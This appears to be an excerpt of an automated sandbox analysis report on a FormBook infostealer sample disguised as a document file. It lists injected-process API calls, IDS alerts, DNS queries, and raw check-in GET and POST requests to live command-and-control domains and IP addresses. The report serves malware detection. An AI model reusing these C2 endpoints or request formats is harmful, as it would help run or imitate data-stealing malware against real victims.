Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0075FDD2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0265C460 FindFirstFileW,FindNextFileW,FindClose,	3_2_0265C460

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then xor eax, eax	3_2_02649C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then pop edi	3_2_0264E012
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_044204DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63347 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63336 -> 147.92.40.175:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63336 -> 147.92.40.175:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49736 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63359 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63346 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63368 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63375 -> 38.181.141.122:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63368 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63335 -> 147.92.40.175:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63326 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63362 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63367 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63342 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63366 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63322 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63328 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63317 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63332 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63325 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63340 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63340 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63343 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63332 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63345 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63328 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63372 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63338 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63320 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63372 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63320 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63370 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63373 -> 38.181.141.122:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63324 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63319 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63334 -> 147.92.40.175:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63355 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63323 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63353 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63374 -> 38.181.141.122:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63361 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63324 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63341 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63360 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63358 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63360 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63376 -> 38.181.141.122:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63376 -> 38.181.141.122:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63318 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63369 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63354 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63321 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63330 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63349 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63339 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63348 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63348 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63357 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63327 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63363 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63329 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63331 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63364 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63364 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63344 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63344 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63365 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63350 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63371 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63377 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63377 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63337 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63333 -> 147.92.40.175:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63352 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63352 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:63351 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:63356 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:63356 -> 104.21.11.31:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.heldhold.xyz
Source:	DNS query: www.rtpngk.xyz
Source:	DNS query: www.030002304.xyz

Source: Joe Sandbox View	IP Address: 67.223.117.189 67.223.117.189
Source: Joe Sandbox View	IP Address: 65.21.196.90 65.21.196.90

Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: DNC-ASDimensionNetworkCommunicationLimitedHK DNC-ASDimensionNetworkCommunicationLimitedHK
Source: Joe Sandbox View	ASN Name: CP-ASDE CP-ASDE
Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0076550C InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_0076550C

Source: global traffic	HTTP traffic detected: GET /a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.2bhp.comConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8pln/?pP_8=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.ultraleap.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v2c3/?V0Qh=4pBta8&pP_8=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dalong.siteConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xamn/?pP_8=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mgeducacaopro.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /fava/?pP_8=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.heldhold.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.63582.photoConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /68ac/?V0Qh=4pBta8&pP_8=UdQRT8UlMLNCwpgj6kWQKKLq7pbVYmfVdUpnkoxSG75WqbyVgEBEWfcixBuHZAqOTbF9B+kCTwT7w8BXHK8l9WrkSPCW1YJ7B21iYQxfbqK0tW+zUb3ShNU= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.useanecdotenow.techConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kt2f/?pP_8=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.asiapartnars.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /al6z/?pP_8=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.linkwave.cloudConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3lu7/?pP_8=nzWofdhWpyQTuQkDfxpOhZSR2SP28ZN4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCLbCiXi5UAF8H0knLfKrCbz8tBFYRfGccZ0A=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mfgarage.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zznj/?V0Qh=4pBta8&pP_8=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.b5x7vk.agencyConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /altr/?pP_8=VbdX0kog8qSHBufLtK+0qwwL6pFhzbi14fGg/CN3kiEzjMV75sm4cjiJhcKV1R019AsMCDZ1hQxpRPghO7Wf1QtEjpaGbTqiMLtSz+Xi+YiI4oFd5iwYses=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.rtpngk.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hzuv/?V0Qh=4pBta8&pP_8=yPYTPsOMRuT7nXzMZEh0cyOx75sbkvhbS623oo+vDaz4p8qW1TPOp1vW0qrZ2oW5wmcFkFH8avXQJuay0KjCNQuKV15vU1edPek8xw4GryuOme+JkwmIlF8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.doggieradio.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v4cy/?pP_8=Y61bwknhs9hp9ZZcYkoE/rAHAVoATd7g+jLHgGwEyJh/LKrsM6hsQ8y2QWfg6r+Pzdmi8z7VAqFTz6bCx0F+lD/ii+PJJ/2nHI8msyIEMT4A2MQn/4udzH0=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.40wxd.topConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /tmpg/?pP_8=CVP6mu+p7AIAUeNlIzILzbbwoLVaLtEPp22R6YZws2HFwQ6gURLmFkDuTnsSzWDqU9qDd9fOW/TdFJInumJ7doiOdR5iBNH/a8rQv0stnRBrBPHE6g/KoYg=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.030002304.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /c0yj/?pP_8=RtxJIiPVwFtoON8X5lg1/pck0zde3AcVW+Sw8LHuBGbwhWeZHgga75pQywOD+eRBU36nZddvjNScILyGR/VfIgCLIuIjBhPcY00gClaWQM5nJXPcxtJH+zI=&V0Qh=4pBta8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.kfowks.siteConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.2bhp.comConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.2bhp.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.ultraleap.net
Source: global traffic	DNS traffic detected: DNS query: www.dalong.site
Source: global traffic	DNS traffic detected: DNS query: www.mgeducacaopro.online
Source: global traffic	DNS traffic detected: DNS query: www.heldhold.xyz
Source: global traffic	DNS traffic detected: DNS query: www.63582.photo
Source: global traffic	DNS traffic detected: DNS query: www.useanecdotenow.tech
Source: global traffic	DNS traffic detected: DNS query: www.asiapartnars.online
Source: global traffic	DNS traffic detected: DNS query: www.linkwave.cloud
Source: global traffic	DNS traffic detected: DNS query: www.mfgarage.net
Source: global traffic	DNS traffic detected: DNS query: www.b5x7vk.agency
Source: global traffic	DNS traffic detected: DNS query: www.rtpngk.xyz
Source: global traffic	DNS traffic detected: DNS query: www.doggieradio.net
Source: global traffic	DNS traffic detected: DNS query: www.40wxd.top
Source: global traffic	DNS traffic detected: DNS query: www.030002304.xyz
Source: global traffic	DNS traffic detected: DNS query: www.kfowks.site

Source: unknown

HTTP traffic detected: POST /8pln/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateHost: www.ultraleap.netOrigin: http://www.ultraleap.netContent-Length: 201Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeReferer: http://www.ultraleap.net/8pln/User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36Data Raw: 70 50 5f 38 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 